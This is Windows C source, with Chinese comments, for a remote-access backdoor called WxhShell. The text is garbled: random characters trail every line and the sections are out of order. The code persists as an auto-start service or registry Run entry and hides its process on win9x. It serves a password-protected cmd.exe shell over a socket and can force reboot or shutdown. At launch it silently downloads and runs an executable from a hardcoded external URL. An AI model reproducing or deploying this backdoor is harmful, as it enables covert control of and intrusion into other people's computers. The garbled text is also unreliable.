    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cn} CI  
    if(Boot(SHUTDOWN)) +yO) 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XS&Pc  
    else { 8UjIC4'  
    closesocket(wsh); o!BCR:  
    ExitThread(0); LLTr+@lj  
    } FvT4?7-  
    break; m=6?%' H}  
    } $l7}e=1  
  // 获取shell u;t<rEC2  
  case 's': { YdCl  
    CmdShell(wsh); Eg`~mE+a  
    closesocket(wsh); LG,?,%_s  
    ExitThread(0); m-O*t$6  
    break; #-B<u-  
  } =cl#aS}e8  
  // 退出 h~#F2#.  
  case 'x': { ;&j'`tP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LOkgeJuWv  
    CloseIt(wsh); `?$-T5Rr  
    break; bKS/T^UQ  
    } w@-G_-6W  
  // 离开 )isS^O$qH  
  case 'q': { HAO-|=c4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K7&]| ^M9  
    closesocket(wsh); wetu.aMp  
    WSACleanup(); M#^q <K %  
    exit(1); 7RUztu\_  
    break; -I5]#%eX^  
        } V Dnrm*  
  } c:K/0zY  
  } _W(xO |,M  
jj&G[-"bv  
  // 提示信息 =r/K#hOR\J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I '0[  
} _]*[TGap  
  } q,fp DNo  
h{mzYy} b  
  return; l^R:W#*+U  
} [Z/P[370  
-btNwE6[.  
// shell模块句柄 ]xvhUv!G  
int CmdShell(SOCKET sock) 9mvy+XD  
{ Kc]cJ`P4.  
STARTUPINFO si; i}LQ}35@  
ZeroMemory(&si,sizeof(si)); k`>qb8,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !=21K0~t#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {($mLfC4  
PROCESS_INFORMATION ProcessInfo; x}a?B  
char cmdline[]="cmd"; w31O~Ve  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q3ZGN1aX<  
  return 0; x%X3FbF]  
} `{YOl\d_  
4mY^pQ1=L  
// 自身启动模式 Eo$l-Hl5=  
int StartFromService(void) FiQ&g*=|  
{ 1W*Qc_5 v1  
typedef struct [5xm>Y&}  
{ 9Y2u/|!.3  
  DWORD ExitStatus; s8(Z&pQ  
  DWORD PebBaseAddress; PYQ  
  DWORD AffinityMask; hRuiuGC  
  DWORD BasePriority; X{xkXg8h  
  ULONG UniqueProcessId; *><j(uz!  
  ULONG InheritedFromUniqueProcessId; 0*:n<T9  
}   PROCESS_BASIC_INFORMATION; \|X 1  
>%6j-:S  
PROCNTQSIP NtQueryInformationProcess; TCzz]?G]la  
=X'EDw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WClprSl8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ui8$F "I*  
u@D5SkT  
  HANDLE             hProcess; u^C\aujg  
  PROCESS_BASIC_INFORMATION pbi; TH4f"h+B3"  
+q2\3REzx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !pe[H*Cy  
  if(NULL == hInst ) return 0; 7oLlRU  
@I Y<i5(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZD50-w;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yT%<  t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9i#,V@  
q:>`|~MX  
  if (!NtQueryInformationProcess) return 0; d+P<ce2 G  
>.39OQ#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q >yj<DR  
  if(!hProcess) return 0; LkeYzQH/l  
aEQrBs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZK{1z|  
$hJ 4=F  
  CloseHandle(hProcess); i]zh8|">  
?>=vKU5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9&kY>M>z0  
if(hProcess==NULL) return 0; :;#^gv H  
k!qOE\%B  
HMODULE hMod; GXx'"SK9  
char procName[255]; ~>]Ie~E: (  
unsigned long cbNeeded; kdA]gpdw  
z 4. |N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f3,Xb ]h  
9%k4Ic%P  
  CloseHandle(hProcess); Yo5ged]i  
U2_;  
if(strstr(procName,"services")) return 1; // 以服务启动 /jaO\t'q  
Rp zuSh  
  return 0; // 注册表启动 %,N-M]Jf  
} pOy(XUV9O  
,iiI5FR  
// 主模块 t- //.  
int StartWxhshell(LPSTR lpCmdLine) bMqS:+  
{ UHl1>(U  
  SOCKET wsl; w0>5#j q#r  
BOOL val=TRUE; 1:h(8%H@"  
  int port=0; ,^iT,MgNNf  
  struct sockaddr_in door; 50S*_4R  
cw BiT  
  if(wscfg.ws_autoins) Install(); Odt<WG  
VF-[O  
port=atoi(lpCmdLine); BaCzN;)  
Dxr4B<  
if(port<=0) port=wscfg.ws_port; k3 '5Ei  
}D~m%%,  
  WSADATA data; zS\m8[+]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q>=/u-  
wGz_IL.D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CZv^,O(M?2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); up3m um  
  door.sin_family = AF_INET; Y^?PHz'Go  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 78mJ3/?rC  
  door.sin_port = htons(port); +I~U8v-  
0"@p|nAa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :d~&Dt<c  
closesocket(wsl); C5^N)-]"  
return 1; a'G[ !"  
} xNVSWi,  
8/9YR(H3H  
  if(listen(wsl,2) == INVALID_SOCKET) { +zFEx%3^  
closesocket(wsl); w^$$'5=  
return 1; su=]gE@  
} Bm^8"SSN  
  Wxhshell(wsl); 6`'KM/   
  WSACleanup(); zt )WX9  
0pe*DbYP5  
return 0; zy9W{{:P(1  
M w+4atO4[  
} `? f sU  
T 6rjtq  
// 以NT服务方式启动 XOY\NMo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "FfP&lF/  
{ ?7*J4.  
DWORD   status = 0; WoMMAo~  
  DWORD   specificError = 0xfffffff; 6;\Tps;A  
6<Zk%[7t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ukX KUYNm8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >3ASrM+>w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %t-}dC&  
  serviceStatus.dwWin32ExitCode     = 0; ~!dO2\X+  
  serviceStatus.dwServiceSpecificExitCode = 0; ^W,x  
  serviceStatus.dwCheckPoint       = 0; Bk4|ik}  
  serviceStatus.dwWaitHint       = 0; ]O68~+6  
m3b?f B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U| 1&=8l  
  if (hServiceStatusHandle==0) return; w3oe.hWP3N  
kv3V|  
status = GetLastError(); 2W`<P2IA  
  if (status!=NO_ERROR) "CWqPcr  
{ Js8d{\0\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UXV>#U?  
    serviceStatus.dwCheckPoint       = 0; PxZMH=  
    serviceStatus.dwWaitHint       = 0; `lq[6[n  
    serviceStatus.dwWin32ExitCode     = status; "/U~j4O  
    serviceStatus.dwServiceSpecificExitCode = specificError; rexy*Xv`2p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RjQdlr6*  
    return; c:G0=5  
  } {nmBIk2v  
`wLa.Gzj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '4d+!%2t  
  serviceStatus.dwCheckPoint       = 0; k;y5nXIlN  
  serviceStatus.dwWaitHint       = 0; |-k~Fa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xYWg1e$k  
} `BZX\LPHm  
,!g%`@u  
// 处理NT服务事件,比如:启动、停止 <DM:YWNa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n<>/X_m  
{ P&]PJt5  
switch(fdwControl) l 7=WO#Pb  
{ }>u<,  
case SERVICE_CONTROL_STOP: (&Z`P  
  serviceStatus.dwWin32ExitCode = 0; 0(dXU\Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cn!Y7LVr  
  serviceStatus.dwCheckPoint   = 0; o.H(&ex|  
  serviceStatus.dwWaitHint     = 0; j*)K> \  
  { d#G H4+C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (!`]S>_w9  
  } .9;wJ9Bw[  
  return;  ~/kx  
case SERVICE_CONTROL_PAUSE: /WKp\r(Hp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $3MYr5  
  break; r6eApKZ>f6  
case SERVICE_CONTROL_CONTINUE: >T~d uwS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %phv<AW  
  break; ]):kMRv  
case SERVICE_CONTROL_INTERROGATE: X>y6-%@  
  break; m`lsUN,  
}; (t)a u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /?P="j#u  
} x,SzZ)l-9  
{$mj9?n=v  
// 标准应用程序主函数 j8ebVq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,d34v*U  
{ P*;zDQy  
!EQMTF=(  
// 获取操作系统版本 T&`H )o  
OsIsNt=GetOsVer(); Pa !r*(M)C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .AgD`wba  
f}>S"fFI  
  // 从命令行安装 %,M(-G5j;  
  if(strpbrk(lpCmdLine,"iI")) Install(); f#9\&-h e0  
4h[^!up.7  
  // 下载执行文件 n7 S~n k  
if(wscfg.ws_downexe) { Ug^v ]B9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lx&ME#~  
  WinExec(wscfg.ws_filenam,SW_HIDE); &t\KKsUtd  
} b 64~Y|8  
`o~9a N  
if(!OsIsNt) { B3^4,'  
// 如果时win9x,隐藏进程并且设置为注册表启动 }Myi0I<  
HideProc(); sy|{}NkA!  
StartWxhshell(lpCmdLine); Vi~F Q  
} CdRgI^5  
else "sf]I[a  
  if(StartFromService()) !Z6GID})p  
  // 以服务方式启动 Dab1^H!KT  
  StartServiceCtrlDispatcher(DispatchTable); 8HyK;+ZkVd  
else Sgt@G=_o  
  // 普通方式启动 $iA`_H`W  
  StartWxhshell(lpCmdLine); xv{iWJcs  
Wh)QCp0|n  
return 0; T?+xx^wYk  
} 3wBc`vJ!  
{AY `\G  
e_BOzN~c  
\5%T'S@5  
=========================================== IRZ?'Im  
^vmyiF  
&r;4$7  
%HJ_0qg  
*zy0,{bl  
In)#`E` g.  
" ,zLi{a6  
b7/1 ]  
#include <stdio.h> yp=2nU"o  
#include <string.h> QMzBx*g(  
#include <windows.h> ,OLN%2Sq  
#include <winsock2.h> TCSm#?[B  
#include <winsvc.h> a"{tqNc  
#include <urlmon.h> dOFxzk,g&R  
!5}Ibb  
#pragma comment (lib, "Ws2_32.lib") otXB:a  
#pragma comment (lib, "urlmon.lib") XY5I5H_U  
=^P<D&%q  
#define MAX_USER   100 // 最大客户端连接数 1_7}B4  
#define BUF_SOCK   200 // sock buffer R4"g? e  
#define KEY_BUFF   255 // 输入 buffer !m$OI:rr  
Zjt3U;Y  
#define REBOOT     0   // 重启 +[JGi"ca  
#define SHUTDOWN   1   // 关机 %cD7}o:u  
6|05-x|  
#define DEF_PORT   5000 // 监听端口 Nvs8t%  
Rp)82- .  
#define REG_LEN     16   // 注册表键长度 ?R0sY ?u  
#define SVC_LEN     80   // NT服务名长度 Y>+\:O  
)#r]x1[Kn  
// 从dll定义API r}P{opn$t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :<s)QD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -O_5OT4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (i7]N[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #`/KF_a3\>  
/r|^Dc Nx  
// wxhshell配置信息 ,|b<as@X  
struct WSCFG { #5T+P8  
  int ws_port;         // 监听端口 xv9Z~JwH  
  char ws_passstr[REG_LEN]; // 口令 +GWeu0b(~  
  int ws_autoins;       // 安装标记, 1=yes 0=no xX  
  char ws_regname[REG_LEN]; // 注册表键名 vcAs!ls+  
  char ws_svcname[REG_LEN]; // 服务名 NrTQ}_3)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E'e#axF;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L&lNpMT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U]fE(mpI9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (?&X<=|"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7vV3"uns  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8J%^gy>m]  
LZyUlz  
}; oa+Rr&t'  
MZE8Cvq0  
// default Wxhshell configuration qU#Gz7/  
struct WSCFG wscfg={DEF_PORT, k oC2bX  
    "xuhuanlingzhe", U\y];\~H  
    1, "-vm=d~\  
    "Wxhshell", |J2R w f  
    "Wxhshell", }7vX4{Yn  
            "WxhShell Service", \<~[uv'  
    "Wrsky Windows CmdShell Service", ZYrXav<  
    "Please Input Your Password: ", 2<y E3:VX  
  1, jGd{*4{3+  
  "http://www.wrsky.com/wxhshell.exe", \Btv76*,  
  "Wxhshell.exe" ^l ~i>:V  
    }; \no[>L]  
*:3flJt  
// 消息定义模块 !tFs(![  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <O>r e3s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,~gY'Ql  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3t(nV4uDF  
char *msg_ws_ext="\n\rExit."; BULX*eOt  
char *msg_ws_end="\n\rQuit."; ]~)FMWQz-  
char *msg_ws_boot="\n\rReboot..."; AU$W=Z*  
char *msg_ws_poff="\n\rShutdown..."; v?)JM+  
char *msg_ws_down="\n\rSave to "; R\MM2_I  
wCvtw[6  
char *msg_ws_err="\n\rErr!"; s*:J=+D]G  
char *msg_ws_ok="\n\rOK!"; h{yqNl  
IC/'<%k  
char ExeFile[MAX_PATH]; Z6X?M&-Lz  
int nUser = 0; ;p/RS#  
HANDLE handles[MAX_USER]; ~ DVAk|fc  
int OsIsNt; mKPyM<Q  
xRJv_=dT  
SERVICE_STATUS       serviceStatus; Tl%#N"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <Jo_f&&{  
m ,)4k&d  
// 函数声明 h2!We#  
int Install(void); Wj/.rG&tE  
int Uninstall(void); a84^"GH7  
int DownloadFile(char *sURL, SOCKET wsh); g ` 6Xrf  
int Boot(int flag); IBC P6[  
void HideProc(void); 0CQ\e1S,#  
int GetOsVer(void); ! 9k)hP  
int Wxhshell(SOCKET wsl); U"A]b(54  
void TalkWithClient(void *cs); Ytc  
int CmdShell(SOCKET sock); sbrU;X_S  
int StartFromService(void); d /jO~+jP  
int StartWxhshell(LPSTR lpCmdLine); y|nMCkuX  
uv}[MXOP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "44VvpQC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ea=@r Ng  
YL=?Nk/  
// 数据结构和表定义 $xyG0Q.  
SERVICE_TABLE_ENTRY DispatchTable[] = ^vLHs=<  
{ ot]E\g+!  
{wscfg.ws_svcname, NTServiceMain}, C+cSy'VIK!  
{NULL, NULL} B8'" ^a^&-  
}; x1]^].#Eo  
lq}=&)%C  
// 自我安装 0iinr:=u  
int Install(void) * 'WzIk2  
{ 5u MP31  
  char svExeFile[MAX_PATH]; @|6n.'f+  
  HKEY key; @>_`g=  
  strcpy(svExeFile,ExeFile); ((\s4-   
~(aQ!!H6  
// 如果是win9x系统,修改注册表设为自启动 13I 7ah  
if(!OsIsNt) { Gmi4ffIb3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Aj#CB.y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nKp='>Th  
  RegCloseKey(key); WLQm|C,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .dt7b4.kd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [nJ),9$z_  
  RegCloseKey(key); 9w^1/t&=04  
  return 0; $(H%|Oyn  
    } ='q:Io?T  
  } 8C#R  
} sWP5=t(i+9  
else { Cb7f-Eag  
>t&Frw/Bl  
// 如果是NT以上系统,安装为系统服务 \Y_2Z /  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !jL|HwlA  
if (schSCManager!=0) 8rAOs\ys  
{ E% t_17,=j  
  SC_HANDLE schService = CreateService Jiyt,D*wX  
  ( t8DyS FT  
  schSCManager, `9n%Dy<  
  wscfg.ws_svcname, oA%8k51>~K  
  wscfg.ws_svcdisp, +!6aB|-  
  SERVICE_ALL_ACCESS, ml<X92Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S#Tc{@e  
  SERVICE_AUTO_START, U:ggZ`.  
  SERVICE_ERROR_NORMAL, x*Y&s<  
  svExeFile, l)< '1dqe  
  NULL, D0 Yl?LU3  
  NULL, mD{<Lp=  
  NULL, w?)v#]<-  
  NULL, @d]I3?`  
  NULL ifTMoC%  
  ); e>vV8a\  
  if (schService!=0) { </MC`  
  { ,_@C(O  
  CloseServiceHandle(schService); k nrR%e;  
  CloseServiceHandle(schSCManager); ++d(}^C;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WJbdsPs  
  strcat(svExeFile,wscfg.ws_svcname); mX3~rK>@~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,S 5tkTa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {U1 j@pKm  
  RegCloseKey(key); JRt^YX  
  return 0; ]L#6'|W  
    } }_93}e  
  } dR~4*59Bg  
  CloseServiceHandle(schSCManager); N=FU>qbz  
} wQbN5*82  
} >Pne@w!*  
^Yz.,!B[  
return 1;  $0>>Z  
} u=NpL^6s<  
v~^c-]4I  
// 自我卸载 &atT7m  
int Uninstall(void) 7tWt3  
{ Z-(#}(HD  
  HKEY key; ghvF%-."1  
L B`=+FD  
if(!OsIsNt) { bg.f';C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v&g(6~b_>  
  RegDeleteValue(key,wscfg.ws_regname); APxy %0Q  
  RegCloseKey(key); 3&Dln  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mf0!-bu  
  RegDeleteValue(key,wscfg.ws_regname); XVXiiQ^  
  RegCloseKey(key); !(\OT  
  return 0; + $i-"^  
  } 2yqm$i9C  
} >XzCHtEP  
} 5G.A\`u%  
else { z 9mmZqhK\  
ow:}NI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d;(&_;  
if (schSCManager!=0) h%e}4U@X  
{ Id8^6FLw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `q Sfo`  
  if (schService!=0)  _Y@'<S.  
  { >L$g ;(g  
  if(DeleteService(schService)!=0) { j^A0[:2  
  CloseServiceHandle(schService); + >o/Ob  
  CloseServiceHandle(schSCManager); U85t !U  
  return 0; :b+C<Bp64r  
  } 9k.LV/Y  
  CloseServiceHandle(schService); ]>h2h?2te  
  } Qxj &IX  
  CloseServiceHandle(schSCManager); n y6-_mA]  
} fd >t9.  
} /$zYSP)YT  
*LJN2;  
return 1; pE >~F  
} 4)Y=)#=  
P\bW kp0  
// 从指定url下载文件 cad1eOT'  
int DownloadFile(char *sURL, SOCKET wsh) {xr!H-9ZAA  
{ GIQ/gM?Pv  
  HRESULT hr; ]dk44,EL  
char seps[]= "/"; $5nOiaQL  
char *token; -)@DH;[tb  
char *file; *g&[?y`UC  
char myURL[MAX_PATH]; drT X  
char myFILE[MAX_PATH]; %Bg} a  
OIB~ W  
strcpy(myURL,sURL); 'LIJpk3J  
  token=strtok(myURL,seps); reLYtv  
  while(token!=NULL) (A`/3Aq+  
  { Z[KXDQn8  
    file=token; s5FyP "V  
  token=strtok(NULL,seps); Bn*D<<{T  
  } P7d" E  
3EB8ls2  
GetCurrentDirectory(MAX_PATH,myFILE); "_jcz r$*  
strcat(myFILE, "\\"); cl{x5>.'#  
strcat(myFILE, file); _7 .Wz7]b  
  send(wsh,myFILE,strlen(myFILE),0); cX"[#Em#  
send(wsh,"...",3,0); D8slSX`6j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C/%umazP9  
  if(hr==S_OK) _ ={*<E  
return 0; )K>XLaG)  
else *>rpcS<l  
return 1; Lhu2;F\/  
0wXfu"E{  
} a9Lf_/w{&  
')I/D4v  
// 系统电源模块 MGX %U6  
int Boot(int flag) N8 }R<3/  
{ K,%H*1YKK  
  HANDLE hToken; vp &jSfQ^  
  TOKEN_PRIVILEGES tkp; >[,Rt"[V  
ovzIJbf  
  if(OsIsNt) { r]Da4G^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [ivz/r(Rj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c`mJrS:  
    tkp.PrivilegeCount = 1; J7t5 B}}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4JFi|oK0H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fG;)wQJ  
if(flag==REBOOT) { L7_Mg{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xZPSoxu  
  return 0; mN@)b+~(S  
} oP5G*AFUq  
else { ST)l0c+Y>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ##BMh!  
  return 0; )-|A|1Uo  
} f!e8xDfA  
  } j[m\;3Sp  
  else { 2{!'L'km  
if(flag==REBOOT) { >FFZ8=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?cCh?> h  
  return 0; uCF+Mp  
} F*>:~'%  
else { oh%T4 $  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;gy_Qf2U  
  return 0; |^C?~g  
} -]~U_J]  
} q`E6hm  
(' /S~  
return 1; X}0NeG^'O  
} yopEqO  
zN#$eyt  
// win9x进程隐藏模块 ]o$Kh$~5  
void HideProc(void) r.xGvo{iY  
{ !sEI|47{  
)"|'=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `5<  
  if ( hKernel != NULL ) y7wy9+>l  
  { rl'YyO}2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6vro:`R ?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k)Z?  
    FreeLibrary(hKernel); J*U,kyYF  
  } 63UAN0K%  
^TVy :5Ag  
return; JMuUj_^}7  
} eg~$WB;1  
(-(,~E  
// 获取操作系统版本 K7M7T5<  
int GetOsVer(void) g % q7  
{ (03m%\  
  OSVERSIONINFO winfo; bd_U%0)pi1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L:%ek3SOz  
  GetVersionEx(&winfo); j +@1frp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3*CF!Y%  
  return 1; =:P9 $  
  else <4^ _dJ9=  
  return 0; F:n(yXA  
} *ls}r5k2Y  
$7jJV(B  
// 客户端句柄模块 Mto3Ryic!  
int Wxhshell(SOCKET wsl) szF[LRb  
{ }KCXo/y  
  SOCKET wsh; A~\:}P N  
  struct sockaddr_in client;  6?+bi\6  
  DWORD myID; ZWG$MFEjl  
r|fJ~0z  
  while(nUser<MAX_USER) ` R!0uRu  
{ ~4=4Ks0  
  int nSize=sizeof(client); _{_LTy%[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Up`$U~%-  
  if(wsh==INVALID_SOCKET) return 1; KG'4;Z5J  
d5T0#ue/e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +VdYT6{p  
if(handles[nUser]==0) PD|I3qv~  
  closesocket(wsh); 6G/)q8'G  
else FGr0W|?v  
  nUser++; NJz8ANpro$  
  } 4^w>An6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); / ]>&OSV  
]QtdT8~  
  return 0; /6gqpzum4  
} JR$Dp&]I  
:?RooJ~#  
// 关闭 socket ORv[Gkq_N)  
void CloseIt(SOCKET wsh) #| A @  
{ X z2IAiAs'  
closesocket(wsh); +C/K@:p  
nUser--; %ia/i :  
ExitThread(0); w I #_r_  
} QD+dP nZu  
UrH^T;#  
// 客户端请求句柄 M7eO5  
void TalkWithClient(void *cs) )!|K3%9  
{ kkyn>Wxv  
.m;1V6  
  SOCKET wsh=(SOCKET)cs; uTbI\iq  
  char pwd[SVC_LEN]; AcrbR&cvG  
  char cmd[KEY_BUFF]; }-V .upl  
char chr[1]; BtBy.bR  
int i,j; @2CYv>  
| (v/>t  
  while (nUser < MAX_USER) { p % 3B^  
BG-uKJ ^  
if(wscfg.ws_passstr) { }UXj|SY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #bsRL8@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qq[2h~6P]  
  //ZeroMemory(pwd,KEY_BUFF);  Tx/  
      i=0; /A_</GYs  
  while(i<SVC_LEN) { 6:-qL}  
y"cK@sOo  
  // 设置超时 6M"J3\ x  
  fd_set FdRead; xfkG&&  
  struct timeval TimeOut; : 60PO  
  FD_ZERO(&FdRead); m?;)C~[  
  FD_SET(wsh,&FdRead); EVgn^,  
  TimeOut.tv_sec=8; =ub&@~E  
  TimeOut.tv_usec=0; ^yy\CtG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BB--UM{7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JF: QQ\  
YwoytoXK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >9+@oGe(E  
  pwd=chr[0]; b[GZ sXD-  
  if(chr[0]==0xd || chr[0]==0xa) { %L/Wc,My  
  pwd=0; 4mNL;O  
  break; HY5g>wv@  
  } kul&m|  
  i++; [p}J=1S  
    } s,K @t_J  
E|6X.Ny]   
  // 如果是非法用户,关闭 socket /  DeI s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pA(@gisg  
} hP3I_I[qF}  
&p8K0 |  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l= ~]MSwY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "E/F{6NH  
KDRIy@[e  
while(1) { T>vHZZiO  
GG(rp]rgl  
  ZeroMemory(cmd,KEY_BUFF); q6H90Zb  
],qG!,V  
      // 自动支持客户端 telnet标准   L)8;96  
  j=0; ofcoNLX5c  
  while(j<KEY_BUFF) { [ {lF1+];@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B`"-~4YAf  
  cmd[j]=chr[0]; mOGcv_L  
  if(chr[0]==0xa || chr[0]==0xd) { wC@4`h\U  
  cmd[j]=0; A-ir   
  break; 2NIK0%6  
  } #^!oP$>1  
  j++; cg1<  
    } r{>tTJFD(:  
e)!X9><J  
  // 下载文件 *% Vd2jW/  
  if(strstr(cmd,"http://")) { @iC!Q>D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =!{}:An1$  
  if(DownloadFile(cmd,wsh)) p_B,7@Jl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uDH)0#  
  else P1Re7/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @8n0GCv  
  } &[R&@l Y  
  else { AWD &K!  
{\C$Bz  
    switch(cmd[0]) { \&ERSk2  
